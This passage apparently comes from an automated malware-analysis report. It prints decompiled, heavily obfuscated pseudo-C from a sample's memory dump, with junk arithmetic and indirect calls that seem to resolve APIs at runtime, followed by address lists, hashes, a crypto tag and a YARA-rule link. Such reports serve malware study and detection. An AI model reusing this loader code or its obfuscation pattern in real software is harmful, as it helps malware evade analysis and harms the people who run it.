					_pop( *_t169);
					_t900 =  &(_t899[1]);
					_v16 = _v16 - _t730;
					_v16 = _v16 + (0 ^ _v16);
					_t170 = _t672 + 0x41c719; // 0x41c719
					_v40 = _v40 & 0x00000000;
					_v20 = _v20 ^ _t170;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t730));
					_pop( *_t175);
					_push(_v36);
					_pop( *_t177);
					_t637 =  *((intOrPtr*)(_t672 + 0x41f060))();
					_v32 = 0;
					_v24 = _v24 ^ _t637;
					_t181 = _t672 + 0x41d2e8; // 0x41d2e8
					_v28 = _v28 ^ _t828;
					_v28 = _v28 | _t181;
					_t639 =  *((intOrPtr*)(_t672 + 0x41f060))(_t828, _v32);
					_v32 = 0;
					_v32 = _v32 + _t639;
					_t185 = _t672 + 0x41ca71; // 0x41ca71
					_v36 = _t185;
					_t641 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v32);
					_pop( *_t188);
					_t731 = _v36;
					_v36 = _t859;
					_push(_t731 + _t641);
					_pop(_t642);
					_t733 = _t731 & 0x00000000 ^ _t871 & 0x00000000 ^  *(_t672 + 0x41c0c4);
					_t874 = _t871;
					if(_t733 > _t642) {
						_t193 = _t672 + 0x41d2e8; // 0x41d2e8
						_v32 = 0;
						 *_t900 =  *_t900 | _t193;
						_t196 = _t672 + 0x41ca71; // 0x41ca71
						 *_t900 =  *_t900 & 0x00000000;
						 *_t900 =  *_t900 ^ _t196;
						_t648 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v32);
						_push(_t874);
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) & 0x00000000;
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) | _t874 ^  *_t900 | _t648;
					}
					_pop( *_t202);
					_v40 = _t733;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) & 0x00000000;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) | _t733 & 0x00000000 ^ _v36;
					_t210 = _t672 + 0x41cefe; // 0x41cefe
					 *_t900 = _t210;
					_t645 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					_v40 = _t828;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) & 0x00000000;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) | _t828 - _v40 ^ _t645;
					return _t645;
				}
			}

0x00e93a14
0x00e93a14
0x00e93a14
0x00e93a15
0x00e93a18
0x00e93a1b
0x00e93a1d
0x00e93a20
0x00e93a21
0x00e93a24
0x00e93a27
0x00e93a2a
0x00e93a2d
0x00e93a30
0x00e93a35
0x00e93a35
0x00e93a38
0x00e93a40
0x00e93a44
0x00e93a45
0x00e93a4c
0x00e93a4e
0x00e93a55
0x00e93a5c
0x00e93a5c
0x00e93a67
0x00e94153
0x00e9446d
0x00e94473
0x00e9447c
0x00e9447f
0x00e94486
0x00e9448a
0x00e94493
0x00e94494
0x00e94497
0x00e9449a
0x00e944a0
0x00e944a7
0x00e944ad
0x00e944b4
0x00e944b7
0x00e944bd
0x00e944c5
0x00e944cc
0x00e944d2
0x00e944d5
0x00e944dc
0x00e944e2
0x00e944e9
0x00e944ec
0x00e944f2
0x00e944fa
0x00e94501
0x00e94507
0x00e9450a
0x00e94511
0x00e94517
0x00e9451e
0x00e94521
0x00e94528
0x00e9452b
0x00e9452e
0x00e94534
0x00e9453c
0x00e94543
0x00e94549
0x00e94549
0x00e94159
0x00e94159
0x00e9415f
0x00e94169
0x00e9416c
0x00e94172
0x00e9417c
0x00e9417f
0x00e9418b
0x00e94192
0x00e94198
0x00e94199
0x00e9419f
0x00e941a6
0x00e941a9
0x00e941af
0x00e941b6
0x00e941b9
0x00e941c2
0x00e941c5
0x00e941ce
0x00e941d1
0x00e941dd
0x00e941e0
0x00e941e5
0x00e941e9
0x00e941ec
0x00e941ee
0x00e941fc
0x00e941fe
0x00e94201
0x00e94203
0x00e9420a
0x00e9420e
0x00e94211
0x00e94217
0x00e9421e
0x00e94221
0x00e9422d
0x00e94234
0x00e9423a
0x00e9423a
0x00e94240
0x00e94244
0x00e94248
0x00e9424b
0x00e94252
0x00e94255
0x00e94258
0x00e94261
0x00e94264
0x00e9426a
0x00e94272
0x00e94279
0x00e9427f
0x00e94282
0x00e94289
0x00e9428c
0x00e9428f
0x00e94296
0x00e94299
0x00e9429c
0x00e942a3
0x00e942a7
0x00e942aa
0x00e942b1
0x00e942b4
0x00e942b7
0x00e942c6
0x00e942c9
0x00e942d0
0x00e942d6
0x00e942d9
0x00e942e0
0x00e942e6
0x00e942f0
0x00e942f3
0x00e942fa
0x00e942fd
0x00e94300
0x00e94306
0x00e9430d
0x00e94310
0x00e9431c
0x00e9431f
0x00e94322
0x00e94329
0x00e9432a
0x00e9432d
0x00e9432e
0x00e9433d
0x00e9433f
0x00e94344
0x00e94346
0x00e9434c
0x00e94353
0x00e94356
0x00e9435c
0x00e94366
0x00e94369
0x00e94369
0x00e94371
0x00e94378
0x00e9437e
0x00e9437f
0x00e94386
0x00e9438d
0x00e94390
0x00e94393
0x00e94399
0x00e943a0
0x00e943a6
0x00e943a9
0x00e943b0
0x00e943b7
0x00e943ba
0x00e943bd
0x00e943c5
0x00e943cc
0x00e943d2
0x00e943d2
0x00e94551
0x00e94555
0x00e94558
0x00e9455b
0x00e94562
0x00e94565
0x00e94568
0x00e94571
0x00e94574
0x00e9457a
0x00e94584
0x00e94587
0x00e94593
0x00e94596
0x00e94599
0x00e945a0
0x00e945a1
0x00e945a4
0x00e945b2
0x00e945b4
0x00e945b7
0x00e945b9
0x00e945bf
0x00e945c9
0x00e945cc
0x00e945d2
0x00e945dc
0x00e945df
0x00e945e5
0x00e945ec
0x00e945f2
0x00e945f2
0x00e945fe
0x00e94603
0x00e9460d
0x00e94611
0x00e94614
0x00e9461a
0x00e94621
0x00e94624
0x00e9462b
0x00e9462e
0x00e94631
0x00e9463d
0x00e94644
0x00e9464a
0x00e94654
0x00e94657
0x00e9465b
0x00e9465f
0x00e94662
0x00e94668
0x00e94672
0x00e94675
0x00e94681
0x00e94688
0x00e9468e
0x00e94695
0x00e94698
0x00e946a1
0x00e946a5
0x00e946af
0x00e946b2
0x00e946b9
0x00e946bc
0x00e946bf
0x00e946c5
0x00e946cf
0x00e946d2
0x00e946d8
0x00e946e0
0x00e946e7
0x00e946f2
0x00e946f5
0x00e946f8
0x00e94700
0x00e94704
0x00e9470a
0x00e94710
0x00e9471a
0x00e9471d
0x00e94729
0x00e94730
0x00e94736
0x00e94741
0x00e94743
0x00e94744
0x00e9474a
0x00e94754
0x00e94757
0x00e9475d
0x00e94767
0x00e9476a
0x00e94773
0x00e94776
0x00e94781
0x00e94788
0x00e9478b
0x00e9478e
0x00e94791
0x00e94792
0x00e94793
0x00e947a0
0x00e947a5
0x00e947a7
0x00e947ad
0x00e947b4
0x00e947b7
0x00e947bd
0x00e947c4
0x00e947c7
0x00e947c7
0x00e947cd
0x00e947d4
0x00e947da
0x00e947dd
0x00e947ed
0x00e947f4
0x00e947f7
0x00e947fa
0x00e94800
0x00e94807
0x00e9480a
0x00e94812
0x00e94819
0x00e9481f
0x00e94820
0x00e94821
0x00e94828
0x00e9482b
0x00e9482e
0x00e9482f
0x00e94832
0x00e94835
0x00e94836
0x00e94839
0x00e9483b
0x00e94846
0x00e94848
0x00e94849
0x00e94849
0x00e9484d
0x00e94850
0x00e94853
0x00e94856
0x00e94857
0x00e9485b
0x00e9485c
0x00e9485e
0x00e94860
0x00e94861
0x00e94861
0x00e94861
0x00e94868
0x00e9486b
0x00e9486e
0x00e94875
0x00e94879
0x00e9487c
0x00e94883
0x00e94887
0x00e9488a
0x00e94890
0x00e94898
0x00e9489f
0x00e948a8
0x00e948c1
0x00e93a6d
0x00e93a73
0x00e93a76
0x00e93a79
0x00e93a7f
0x00e93a89
0x00e93a8c
0x00e93a98
0x00e93a9f
0x00e93aa5
0x00e93aa6
0x00e93aad
0x00e93ab0
0x00e93ab3
0x00e93aba
0x00e93abd
0x00e93ac0
0x00e93ac7
0x00e93aca
0x00e93acd
0x00e93ad4
0x00e93ad8
0x00e93adb
0x00e93ae3
0x00e93ae6
0x00e93ae9
0x00e93af0
0x00e93af1
0x00e93af4
0x00e93af5
0x00e93b04
0x00e93b06
0x00e93b0b
0x00e93b0d
0x00e93b14
0x00e93b18
0x00e93b1b
0x00e93b24
0x00e93b27
0x00e93b2d
0x00e93b2f
0x00e93b36
0x00e93b3c
0x00e93b46
0x00e93b4a
0x00e93b4d
0x00e93b50
0x00e93b57
0x00e93b5a
0x00e93b5d
0x00e93b63
0x00e93b6d
0x00e93b70
0x00e93b79
0x00e93b7c
0x00e93b87
0x00e93b8e
0x00e93b91
0x00e93b94
0x00e93b97
0x00e93b98
0x00e93b99
0x00e93ba4
0x00e93ba6
0x00e93bab
0x00e93bad
0x00e93bb3
0x00e93bba
0x00e93bbd
0x00e93bc6
0x00e93bc9
0x00e93bc9
0x00e93bcf
0x00e93bd6
0x00e93bdf
0x00e93be5
0x00e93bef
0x00e93bf2
0x00e93bf8
0x00e93bff
0x00e93c02
0x00e93c08
0x00e93c12
0x00e93c15
0x00e93c1c
0x00e93c20
0x00e93c23
0x00e93c2f
0x00e93c35
0x00e93c39
0x00e93c3c
0x00e93c3f
0x00e93c42
0x00e93c43
0x00e93c44
0x00e93c4a
0x00e93c4d
0x00e93c50
0x00e93c53
0x00e93c55
0x00e93c5c
0x00e93c60
0x00e93c63
0x00e93c69
0x00e93c70
0x00e93c79
0x00e93c7a
0x00e93c7d
0x00e93c80
0x00e93c80
0x00e93c8b
0x00e93c91
0x00e93c94
0x00e93c9b
0x00e93c9f
0x00e93ca2
0x00e93ca8
0x00e93caf
0x00e93cb2
0x00e93cbe
0x00e93cc5
0x00e93ccb
0x00e93ccc
0x00e93cd3
0x00e93cd7
0x00e93cda
0x00e93ce0
0x00e93cea
0x00e93ced
0x00e93cf4
0x00e93cf7
0x00e93cfa
0x00e93d00
0x00e93d0a
0x00e93d0d
0x00e93d15
0x00e93d18
0x00e93d1f
0x00e93d22
0x00e93d25
0x00e93d28
0x00e93d29
0x00e93d2a
0x00e93d39
0x00e93d3b
0x00e93d40
0x00e93d42
0x00e93d48
0x00e93d4f
0x00e93d52
0x00e93d59
0x00e93d5c
0x00e93d65
0x00e93d66
0x00e93d69
0x00e93d6c
0x00e93d6c
0x00e93d7b
0x00e93d84
0x00e93d8b
0x00e93d91
0x00e93d92
0x00e93d9b
0x00e93d9e
0x00e93da4
0x00e93dab
0x00e93dae
0x00e93db4
0x00e93dbe
0x00e93dc1
0x00e93dd0
0x00e93dd7
0x00e93dda
0x00e93ddd
0x00e93de0
0x00e93de1
0x00e93de2
0x00e93ded
0x00e93def
0x00e93df4
0x00e93df6
0x00e93dfd
0x00e93e00
0x00e93e03
0x00e93e0a
0x00e93e0e
0x00e93e11
0x00e93e11
0x00e93e19
0x00e93e20
0x00e93e26
0x00e93e27
0x00e93e27
0x00e93e28
0x00e93e2f
0x00e93e32
0x00e93e35
0x00e93e3c
0x00e93e3f
0x00e93e42
0x00e93e4e
0x00e93e55
0x00e93e5b
0x00e93e5c
0x00e93e63
0x00e93e66
0x00e93e69
0x00e93e72
0x00e93e7b
0x00e93e7c
0x00e93e7f
0x00e93e82
0x00e93e8d
0x00e93e91
0x00e93e94
0x00e93e97
0x00e93e9d
0x00e93ea4
0x00e93ead
0x00e93eae
0x00e93eb1
0x00e93eb4
0x00e93eba
0x00e93ec0
0x00e93eca
0x00e93ecd
0x00e93ed4
0x00e93ed7
0x00e93eda
0x00e93ee0
0x00e93eea
0x00e93eed
0x00e93ef6
0x00e93ef9
0x00e93eff
0x00e93f02
0x00e93f05
0x00e93f0c
0x00e93f10
0x00e93f1e
0x00e93f20
0x00e93f23
0x00e93f25
0x00e93f2b
0x00e93f35
0x00e93f38
0x00e93f3f
0x00e93f43
0x00e93f46
0x00e93f4c
0x00e93f52
0x00e93f59
0x00e93f5f
0x00e93f60
0x00e93f66
0x00e93f6e
0x00e93f75
0x00e93f7e
0x00e93f87
0x00e93f8a
0x00e93f90
0x00e93f98
0x00e93f9f
0x00e93fa8
0x00e93fa8

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction ID: d483456d517d22ee4b94266909efccb4395703ddf717c4a40bccd5638a477c09
Opcode Fuzzy Hash: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
Instruction Fuzzy Hash: BA921272844608CFEF04DFA0C889BEEBBF5FF48310F1544AAD889AA145D7385965CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00E931B3, Relevance: .6, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00E931B3(signed int __ebx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t312;
				void* _t314;
				signed int _t315;
				signed int _t318;
				signed int _t321;
				void* _t323;
				void* _t327;
				void* _t331;
				void* _t333;
				void* _t334;
				signed int _t335;
				signed int _t337;
				void* _t339;
				void* _t340;
				signed int _t345;
				signed int _t348;
				void* _t350;
				void* _t351;
				signed int _t355;
				void* _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t361;
				signed int _t365;
				signed int _t371;
				signed int _t373;
				void* _t378;
				void* _t380;
				signed int _t383;
				signed int _t386;
				intOrPtr _t390;
				signed int _t396;
				signed int _t398;
				signed int _t402;
				signed int _t405;
				void* _t408;
				void* _t410;
				signed int _t416;
				intOrPtr _t421;
				signed int _t426;
				intOrPtr _t429;
				intOrPtr _t434;
				signed int _t437;
				void* _t442;
				void* _t444;
				signed int _t446;
				signed int _t448;
				signed int _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int _t463;
				signed int _t465;
				signed int _t468;
				signed int _t473;
				signed int _t480;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t500;
				signed int _t502;
				signed int _t505;
				signed int _t507;
				signed int _t510;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t531;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				void* _t541;
				signed int _t543;
				signed int _t546;
				void* _t553;
				signed int _t555;
				signed int _t557;
				signed int _t560;
				signed int _t563;
				signed int _t566;
				void* _t570;
				signed int _t573;
				void* _t574;
				signed int _t576;
				signed int _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;
				signed int* _t584;
				signed int* _t585;
				signed int* _t586;
				signed int* _t587;
				signed int* _t588;
				signed int* _t589;
				signed int* _t590;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t596;

				_t531 = __edi;
				_t500 = __edx;
				_t437 = __ebx;
				_t1 = _t437 + 0x41c972; // 0x41c972
				_push(_v16);
				 *_t580 = _t1;
				_t312 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t573);
				 *_t580 =  *_t580 - _t573;
				 *_t580 = _t312;
				_t4 = _t437 + 0x41c726; // 0x41c726
				_v12 = 0;
				_push(_v12);
				 *_t580 =  *_t580 | _t4;
				_t314 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t446 =  *_t580;
				_t581 =  &(_t580[1]);
				 *_t581 =  *_t581 + __esi;
				_t553 = _t314;
				_t315 = _t553 + _t446;
				_t555 = 0;
				_v16 = _t315;
				_t448 = _t446 & 0x00000000 | _t315 & 0x00000000 |  *(__ebx + 0x41c68d);
				_t318 = _v16;
				if(_t448 > _t318) {
					_t11 = _t437 + 0x41c972; // 0x41c972
					_v16 = 0;
					_push(_v16);
					 *_t581 =  *_t581 | _t11;
					_t14 = _t437 + 0x41c726; // 0x41c726
					_push(_t573);
					 *_t581 =  *_t581 - _t573;
					 *_t581 =  *_t581 ^ _t14;
					_t318 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				_v12 = _t531;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) & 0x00000000;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) | _t531 & 0x00000000 ^ _t318;
				_t534 = _v12;
				_t22 = _t437 + 0x41d2f2; // 0x41d2f2
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 + _t22;
				_t23 = _t437 + 0x41d08b; // 0x41d08b
				_v12 = _v12 & 0x00000000;
				 *_t581 =  *_t581 | _t23;
				_t321 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _t500);
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t321;
				_t28 = _t437 + 0x41c1f0; // 0x41c1f0
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t28;
				_t323 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555);
				 *_t30 = _t448;
				 *_t581 =  *_t581 | _t573;
				_t574 = _t323;
				_t576 = 0;
				 *_t581 = _t574 + _v8;
				_t450 =  *(_t437 + 0x41c529);
				_t327 = 0;
				if(_t450 > _t327) {
					_t33 = _t437 + 0x41d08b; // 0x41d08b
					 *_t581 =  *_t581 ^ _t500;
					 *_t581 =  *_t581 ^ _t33;
					_t34 = _t437 + 0x41c1f0; // 0x41c1f0
					_v16 = 0;
					 *_t581 =  *_t581 | _t34;
					_t434 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _t500);
					_v16 = _t450;
					 *((intOrPtr*)(_t437 + 0x41cd05)) = _t434;
					_t450 = _v16;
				}
				_t582 = _t581 - 0xfffffffc;
				 *_t582 =  *_t582 ^ _t576;
				 *_t582 =  *_t582 +  *_t581;
				_t41 = _t437 + 0x41d1b0; // 0x41d1b0
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t41;
				_t331 =  *((intOrPtr*)(_t437 + 0x41f060))(_t576, _t576);
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t331;
				_t43 = _t437 + 0x41c2f3; // 0x41c2f3
				 *_t582 =  *_t582 ^ _t555;
				 *_t582 =  *_t582 ^ _t43;
				_t333 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555, _t500);
				_t452 = _t450 & 0x00000000 ^  *_t582;
				_t583 =  &(_t582[1]);
				 *_t45 = _t333;
				_v8 = _v8 + _t452;
				_push(_v8);
				_pop(_t334);
				_t502 = _t500;
				_v16 = _t502;
				_t454 = _t452 & 0x00000000 | _t502 & 0x00000000 |  *(_t437 + 0x41c51d);
				_t505 = _v16;
				if(_t454 > _t334) {
					_t52 = _t437 + 0x41d1b0; // 0x41d1b0
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 ^ _t52;
					_t53 = _t437 + 0x41c2f3; // 0x41c2f3
					 *_t583 =  *_t583 - _t454;
					 *_t583 = _t53;
					_t334 =  *((intOrPtr*)(_t437 + 0x41f064))(_t454, _t505);
				}
				 *_t55 = _t334;
				_push(_v16);
				_pop( *_t57);
				_t335 =  *((intOrPtr*)(_t437 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t583 =  *_t583 ^ _t335;
				_t62 = _t437 + 0x41c0f2; // 0x41c0f2
				 *_t583 =  *_t583 - _t505;
				 *_t583 = _t62;
				_t337 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				 *_t583 = _t337;
				_t65 = _t437 + 0x41cfb1; // 0x41cfb1
				 *_t583 = _t65;
				_t339 =  *((intOrPtr*)(_t437 + 0x41f060))(_v8, _v16);
				_t584 = _t583 - 0xfffffffc;
				 *_t68 = _t339;
				_v16 = _v16 + (_t454 & 0x00000000 |  *_t583);
				_push(_v16);
				_pop(_t340);
				_t557 = _t555;
				_v8 = _t557;
				_t457 = 0 ^  *(_t437 + 0x41cba2);
				_t560 = _v8;
				if(_t457 > _t340) {
					_t75 = _t437 + 0x41c0f2; // 0x41c0f2
					_v16 = _v16 & 0x00000000;
					 *_t584 =  *_t584 ^ _t75;
					_t79 = _t437 + 0x41cfb1; // 0x41cfb1
					_v8 = _v8 & 0x00000000;
					 *_t584 =  *_t584 ^ _t79;
					_t429 =  *((intOrPtr*)(_t437 + 0x41f064))(_v8, _v16);
					_v8 = _t505;
					 *((intOrPtr*)(_t437 + 0x41cbd5)) = _t429;
					_t505 = _v8;
				}
				_pop( *_t87);
				 *_t584 =  *_t584 - _t534;
				 *_t584 =  *_t584 ^ 0 ^ _v8;
				_t89 = _t437 + 0x41cdc3; // 0x41cdc3
				_v8 = 0;
				 *_t584 =  *_t584 + _t89;
				_t92 = _t437 + 0x41c7d0; // 0x41c7d0
				_v16 = 0;
				 *_t584 =  *_t584 | _t92;
				_t345 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _v8, _t534);
				_v12 = _t457;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) & 0x00000000;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) ^ (_t457 - _v12 | _t345);
				_t103 = _t437 + 0x41d16f; // 0x41d16f
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t103;
				_t107 = _t437 + 0x41cd88; // 0x41cd88
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t107;
				_t348 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t348;
				_t112 = _t437 + 0x41d272; // 0x41d272
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t112;
				_t350 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_t585 = _t584 - 0xfffffffc;
				 *_t114 = _t350;
				_v16 = _v16 + (_v12 & 0x00000000) +  *_t584;
				_push(_v16);
				_pop(_t351);
				_t507 = _t505;
				 *_t585 = _t507;
				_t463 =  *(_t437 + 0x41c389);
				_t510 = 0;
				if(_t463 > _t351) {
					_t119 = _t437 + 0x41cd88; // 0x41cd88
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t119;
					_t120 = _t437 + 0x41d272; // 0x41d272
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t120;
					_t426 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _t463);
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) & 0x00000000;
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) | _t463 & 0x00000000 | _t426;
					_t463 = _t463;
				}
				_t586 = _t585 - 0xfffffffc;
				 *_t586 = 0 ^  *_t585;
				_t127 = _t437 + 0x41cb2c; // 0x41cb2c
				 *_t586 =  *_t586 ^ _t437;
				 *_t586 =  *_t586 | _t127;
				_t355 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_v8 = 0;
				 *_t586 =  *_t586 ^ _t355;
				_t131 = _t437 + 0x41ca15; // 0x41ca15
				_v12 = _v12 & 0x00000000;
				 *_t586 =  *_t586 | _t131;
				_t357 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8);
				_t465 =  *_t586;
				_t587 = _t586 - 0xfffffffc;
				_v8 = _t534;
				_push(_t465 + _t357);
				_t537 = _v8;
				_pop(_t358);
				_t540 = _t537;
				if((_t465 & 0x00000000 | _t537 & 0x00000000 ^  *(_t437 + 0x41c82d)) > _t358) {
					_t139 = _t437 + 0x41cb2c; // 0x41cb2c
					_v16 = _v16 & 0x00000000;
					 *_t587 =  *_t587 + _t139;
					_t143 = _t437 + 0x41ca15; // 0x41ca15
					 *_t587 =  *_t587 & 0x00000000;
					 *_t587 =  *_t587 + _t143;
					_t358 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _v16);
				}
				_v12 = _t560;
				 *((intOrPtr*)(_t437 + 0x41c92d)) = _t358;
				_t563 = _v12;
				_t359 =  *((intOrPtr*)(_t437 + 0x41f060))();
				 *_t587 =  *_t587 & 0x00000000;
				 *_t587 =  *_t587 | _t359;
				_t149 = _t437 + 0x41c69d; // 0x41c69d
				_v16 = 0;
				 *_t587 =  *_t587 | _t149;
				_t361 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _t563);
				_v12 = _t510;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) & 0x00000000;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) | _t510 - _v12 | _t361;
				_t588 =  &(_t587[1]);
				_pop( *_t160);
				_t468 = _v16;
				 *_t588 = (_t361 & 0x00000000) +  *_t587;
				 *_t588 = _t468;
				_t164 = _t437 + 0x41c2d3; // 0x41c2d3
				_v16 = _v16 & 0x00000000;
				 *_t588 =  *_t588 | _t164;
				_t365 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12, _v8);
				_v12 = _t468;
				 *(_t437 + 0x41d1f2) = _t365;
				_pop( *_t172);
				_t473 = _v12 & 0x00000000 | _v8;
				_pop( *_t174);
				 *_t588 = _v12;
				_push(_t365 & 0x00000000 ^ _v16);
				_pop(_t514);
				_t516 = 0;
				_v8 = 0;
				 *_t588 =  *_t588 | _t514 + _t473;
				_t178 = _t437 + 0x41d35c; // 0x41d35c
				 *_t588 = _t178;
				_t180 = _t437 + 0x41cffa; // 0x41cffa
				 *_t588 =  *_t588 ^ _t576;
				 *_t588 = _t180;
				_t371 =  *((intOrPtr*)(_t437 + 0x41f068))(_t576, _v12, _v8);
				_v12 = _t516;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) & 0x00000000;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) | _t516 - _v12 | _t371;
				_t519 = _v12;
				_t373 = 0 ^  *_t588;
				_t589 =  &(_t588[1]);
				_v8 = _t373;
				_v12 = 0;
				 *_t589 =  *_t589 + _v8;
				 *_t589 = _t473 & 0x00000000 ^ (_t373 - _v8 |  *(_t437 + 0x41d1e6));
				_t196 = _t437 + 0x41c887; // 0x41c887
				 *_t589 = _t196;
				_t378 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8, _v12);
				_v12 = _v12 & 0x00000000;
				 *_t589 =  *_t589 + _t378;
				_t202 = _t437 + 0x41c411; // 0x41c411
				_v16 = 0;
				 *_t589 =  *_t589 + _t202;
				_t380 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12);
				_t590 = _t589 - 0xfffffffc;
				 *_t590 =  *_t590 ^ _t540;
				_t541 = _t380;
				_t543 = 0;
				_v12 = _t563;
				_t566 = _v12;
				if((0 ^  *(_t437 + 0x41c39d)) > _t541 +  *_t589) {
					_t209 = _t437 + 0x41c887; // 0x41c887
					 *_t590 =  *_t590 & 0x00000000;
					 *_t590 =  *_t590 | _t209;
					_t210 = _t437 + 0x41c411; // 0x41c411
					_v12 = _v12 & 0x00000000;
					 *_t590 =  *_t590 | _t210;
					_t421 =  *((intOrPtr*)(_t437 + 0x41f064))(_v12, _t576);
					 *_t590 = _t543;
					 *((intOrPtr*)(_t437 + 0x41c9b5)) = _t421;
					_t543 = 0;
				}
				_t480 = 0 ^  *_t590;
				_t591 =  &(_t590[1]);
				_t383 =  *_t591;
				_t592 =  &(_t591[1]);
				if(_t480 > _t383) {
					_t216 = _t437 + 0x41d2f2; // 0x41d2f2
					_v16 = _v16 & 0x00000000;
					 *_t592 =  *_t592 ^ _t216;
					_t220 = _t437 + 0x41d16f; // 0x41d16f
					_v16 = 0;
					 *_t592 =  *_t592 ^ _t220;
					_t383 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _v16);
				}
				 *_t592 = _t576;
				 *(_t437 + 0x41c0d6) = 0 ^ _t383;
				_t579 = 0;
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t566;
				_t228 = _t437 + 0x41cd35; // 0x41cd35
				 *_t592 =  *_t592 ^ _t480;
				 *_t592 =  *_t592 + _t228;
				_t229 = _t437 + 0x41ca62; // 0x41ca62
				_v16 = 0;
				 *_t592 =  *_t592 + _t229;
				_t386 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t480, _v12);
				_v16 = _t543;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) & 0x00000000;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) ^ (_t543 - _v16 | _t386);
				_t546 = _v16;
				_t483 = _t480;
				_v12 = 0;
				 *_t592 =  *_t592 | _t386 & 0x00000000 ^ (_t480 & 0x00000000 | _a4);
				_t243 = _t437 + 0x41c84c; // 0x41c84c
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t243;
				_t390 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v12);
				_v16 = _t519;
				 *((intOrPtr*)(_t437 + 0x41d2c7)) = _t390;
				_t522 = _v16;
				_t593 = _t592 - 0xfffffffc;
				 *_t593 =  *_t593 - _t437;
				 *_t593 =  *_t592 - 1;
				_t251 = _t437 + 0x41ceef; // 0x41ceef
				_v16 = 0;
				 *_t593 =  *_t593 | _t251;
				_t254 = _t437 + 0x41c9c8; // 0x41c9c8
				 *_t593 =  *_t593 - _t522;
				 *_t593 = _t254;
				_t396 =  *((intOrPtr*)(_t437 + 0x41f068))(_t522, _v16, _t437);
				_v16 = _t522;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) & 0x00000000;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) | _t522 ^ _v16 | _t396;
				_t525 = _v16;
				_t398 =  *_t593;
